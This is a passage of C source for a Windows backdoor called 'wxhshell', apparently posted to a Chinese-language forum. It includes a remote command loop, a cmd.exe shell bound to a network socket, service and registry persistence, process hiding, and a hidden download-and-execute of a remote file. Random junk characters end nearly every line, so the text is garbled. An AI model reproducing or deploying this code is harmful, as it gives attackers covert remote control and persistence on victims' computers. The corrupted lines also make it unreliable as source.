      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,0[h`FN  
    break; LgS.%Mn  
  } [a1}r=6~  
  // 安装 ?gOZY\[ma  
  case 'i': { .e%B'  
    if(Install()) U}<;4Px]7v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,LJX  
    else >=Un=Q%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z(-@8=0  
    break; EK}f-Xei  
    } 1PJ8O|Z t8  
  // 卸载 P(za8l>  
  case 'r': {  zWIC4:  
    if(Uninstall()) c>RS~/Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'y.'Xj:l  
    else #x|h@(y|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bI~(<-S~K  
    break; &llp*< i7  
    } nr<&j#!L  
  // 显示 wxhshell 所在路径 j5;eSL@ /  
  case 'p': { r$~ f[cA  
    char svExeFile[MAX_PATH]; Ym*Ed[S  
    strcpy(svExeFile,"\n\r"); Jm8#M z  
      strcat(svExeFile,ExeFile); @l:\Ka~TS  
        send(wsh,svExeFile,strlen(svExeFile),0); s9Aq-N  
    break; SD^6ib/]b  
    } $=GZ"%ED  
  // 重启 |PED8K:rU  
  case 'b': { skn`Q>a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dh|8$(Jt  
    if(Boot(REBOOT)) wZm=h8d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L.z`>1  
    else { c91rc>  
    closesocket(wsh); 5? `*i"  
    ExitThread(0); Q1Sf7)  
    } nx >PZb  
    break; 8*^Q#;^~99  
    } )MZQ\8,)]  
  // 关机 l1\/ `  
  case 'd': { $b/oiy!=|3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~E=.*: 5(  
    if(Boot(SHUTDOWN)) ||&EmH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ajayj|h  
    else { ~'e/lX9g-  
    closesocket(wsh); 1B;sSp.>  
    ExitThread(0); ~/6m|k  
    } Kd _tjWS  
    break; m1X0stFRs"  
    } f#a ~av9rC  
  // 获取shell VGY#ph%  
  case 's': { L "L@4 B  
    CmdShell(wsh); zhI} p.  
    closesocket(wsh); "|S \J5-%  
    ExitThread(0); aUN!Sd2,  
    break; ~B%=g)w  
  } VrA9}"1x~*  
  // 退出 =!'gV:M  
  case 'x': { $Blo`'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3r?Bnf:  
    CloseIt(wsh); I#D{6%~  
    break; /YWoDHL  
    } nl|}_~4U  
  // 离开 m Kwhd} V  
  case 'q': { dQR2!yHEq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K4i#:7r'b  
    closesocket(wsh); zlmb_akJ  
    WSACleanup(); C G~ )`  
    exit(1); /I3#WUc;![  
    break; MC!K7ji  
        } 4Wq{ch  
  } `Njv#K} U  
  } !Jw   
Af:4 XSO6  
  // 提示信息 y(B~)T~e@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W;coi4   
} q79)nhC F  
  } +pJ;}+  
9~DoF]TM  
  return; _gK@),de  
} )p>BN|L  
7'_zJI^  
// shell模块句柄 AG2iLictv  
int CmdShell(SOCKET sock) :<w3.(Z  
{ <L@0w8i`  
STARTUPINFO si; v6 DN:!&  
ZeroMemory(&si,sizeof(si)); Rx*T7*xg{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L=Q- r[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |,j6cFNw  
PROCESS_INFORMATION ProcessInfo; o_p//S#q  
char cmdline[]="cmd"; qn#\ro1H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _JA.~edqM  
  return 0; >~I~!i3  
} |<\L B  
KUVsCmiT  
// 自身启动模式 gEtD qq~y@  
int StartFromService(void) "xlf6pm%  
{ uAR!JJ  
typedef struct FfN==2:b  
{ ~wIVw}  
  DWORD ExitStatus; ehI*cf({  
  DWORD PebBaseAddress; Qw.""MLmN8  
  DWORD AffinityMask; dRyK'Xr  
  DWORD BasePriority; t<9oEjk["  
  ULONG UniqueProcessId; 0 ]U ;5  
  ULONG InheritedFromUniqueProcessId; &"fMiK3  
}   PROCESS_BASIC_INFORMATION; b#R3=TQS8  
WS@b3zzN  
PROCNTQSIP NtQueryInformationProcess; A5tY4?|  
n 8Jx;j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bp:WN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j|9;") 1  
gk~.u  
  HANDLE             hProcess; U?d1  
  PROCESS_BASIC_INFORMATION pbi; za'Eom-<u  
7rc^-!k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `h( JD$w  
  if(NULL == hInst ) return 0; umYq56dw  
EkM?Rs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q(e&{pbM)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C<2vuZD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X^#48*"a  
R>Fie5?  
  if (!NtQueryInformationProcess) return 0; a_m P$4T  
IP$^)t[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~" B0P>7  
  if(!hProcess) return 0; xA#B1qbw  
zuWj@YG\.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m>$+sMZE  
d l@  
  CloseHandle(hProcess); 3k5OYUk  
"8J$7g@n@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  |X`xJL  
if(hProcess==NULL) return 0; :#"gQ^YNp  
/}r%DND'  
HMODULE hMod; =;0#F&  
char procName[255]; s%>>E!Qi_  
unsigned long cbNeeded; T.GY  
M5HKRLt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gzvEy^X  
\i}n1Qd  
  CloseHandle(hProcess); Y.3]vno?X  
~!&WK,k6  
if(strstr(procName,"services")) return 1; // 以服务启动 JSt%L|}Y  
tX cc#!'4C  
  return 0; // 注册表启动 VjSb>k   
} K0yTHX?(.  
g}@_ @  
// 主模块 |! i3Y=X  
int StartWxhshell(LPSTR lpCmdLine) RO=[Rr!   
{ b[? 6/#N  
  SOCKET wsl; /d9I2~}B  
BOOL val=TRUE; [#kfl  
  int port=0; #QQ\xj  
  struct sockaddr_in door; RtGETiA\b  
'N)&;ADx-G  
  if(wscfg.ws_autoins) Install(); L{ ?& .iA  
kYl$V =  
port=atoi(lpCmdLine); mfQQ<Q@  
NQ !t`  
if(port<=0) port=wscfg.ws_port; ;#I(ucB<  
cPi 3UjY~  
  WSADATA data; XgP7 !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; THWT\3~,  
=|bM|8,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W*e6F?G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ooref orr  
  door.sin_family = AF_INET; IrjKI.PR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Aga2 I#1r  
  door.sin_port = htons(port); QK<sibDI  
;&37mO/T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )}hp[*C  
closesocket(wsl); ^IOf%  
return 1; "'p:M,:  
} k'&BAC.K,  
rXuhd [!(P  
  if(listen(wsl,2) == INVALID_SOCKET) { t8\F7F P  
closesocket(wsl); )\l}i%L:  
return 1; gpVZZ:~  
} Yvs)H'n=  
  Wxhshell(wsl); *4Y1((1k  
  WSACleanup(); R5NDT4QYU  
uDay||7^g  
return 0; t@QaxZIlt;  
6E{HNPMb>  
} (Ybc~M)z  
iKN~fGRc  
// 以NT服务方式启动 Ovv~ymj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }|%dN*',  
{ r@f8-!{s2h  
DWORD   status = 0; >y"W(  
  DWORD   specificError = 0xfffffff; Jm0P~E[n  
9TBkVbqV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RZ:Yu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bab`wfUve  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WW\u}z.QJ  
  serviceStatus.dwWin32ExitCode     = 0; =LDzZ:' X  
  serviceStatus.dwServiceSpecificExitCode = 0; g2JNa?z  
  serviceStatus.dwCheckPoint       = 0; [U]U *x  
  serviceStatus.dwWaitHint       = 0; v{$X2z_$w  
/qed_w.p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;"-(QE?Mv  
  if (hServiceStatusHandle==0) return; .C$S DhJ~  
F?\XhoJ3G  
status = GetLastError(); 4Pe%*WTX  
  if (status!=NO_ERROR) Ij` %'/J  
{ rE;*MqYt&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yhJH3<  
    serviceStatus.dwCheckPoint       = 0; F$ShhZgi  
    serviceStatus.dwWaitHint       = 0; V$VqYy9 *  
    serviceStatus.dwWin32ExitCode     = status; ?>cx; "xF  
    serviceStatus.dwServiceSpecificExitCode = specificError; iagl^(s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6]dF"N  
    return; e) 42SL^s  
  } u\ro9l  
G|Rsj{2'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a\ fG)Fqp  
  serviceStatus.dwCheckPoint       = 0; C$(US8:{  
  serviceStatus.dwWaitHint       = 0; :f G5?])  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LQ`s>q  
} #(F/P!qk  
JS <S?j?*/  
// 处理NT服务事件,比如:启动、停止 <qT[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dIg/g~ t"  
{ m_zl*s*6  
switch(fdwControl) .T 6 NMIp*  
{ =e](eA;  
case SERVICE_CONTROL_STOP: y<0zAsT  
  serviceStatus.dwWin32ExitCode = 0; a\>+!Vq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "3.v(GVr  
  serviceStatus.dwCheckPoint   = 0; kd)Q$RA(  
  serviceStatus.dwWaitHint     = 0; >lQ@" U  
  { ~~a,Fyko2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]$Pl[Vegy  
  } 0uV3J  
  return; -0r 0M )  
case SERVICE_CONTROL_PAUSE: v/*}M&vo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k#uSH eq7f  
  break; AD K)p?  
case SERVICE_CONTROL_CONTINUE: SK [1h3d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E-IVv  
  break; :+NZW9_  
case SERVICE_CONTROL_INTERROGATE: nF>41 K  
  break; kH~ z07:  
}; m0QE S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!zBLIYFI  
} TwlX'iI_;  
vT~ey  
// 标准应用程序主函数 YbtsJ <w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *;t\!XDgp  
{ 0`c|ZzY  
J|,Uu^7`  
// 获取操作系统版本 V[ju7\>$Z  
OsIsNt=GetOsVer(); \~ m\pf?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dp#JvZb  
N(uHy@  
  // 从命令行安装 F] e` -;  
  if(strpbrk(lpCmdLine,"iI")) Install(); R d'P\  
Gu+9R>  
  // 下载执行文件 :No`+X[Kq  
if(wscfg.ws_downexe) { 2(LF @xb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >RJjm&M  
  WinExec(wscfg.ws_filenam,SW_HIDE); */c4b:s  
} Lh%z2 5t  
m%m<-.'-  
if(!OsIsNt) { ^Ej$o@PH  
// 如果时win9x,隐藏进程并且设置为注册表启动 jq%%|J.x  
HideProc(); %"-bG'Yc  
StartWxhshell(lpCmdLine); <G|i!Pm  
} Ln:6@Ok)5%  
else $inlI_  
  if(StartFromService()) A12EUr5$  
  // 以服务方式启动 & "i4og<  
  StartServiceCtrlDispatcher(DispatchTable); F t/yPv  
else p0*qv"lA  
  // 普通方式启动 2[|52+zhc  
  StartWxhshell(lpCmdLine); q9Zp8&<EqH  
T_R2BBT v  
return 0; F!7dGa$  
}
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只看该作者 1 发表于: 2006-10-10
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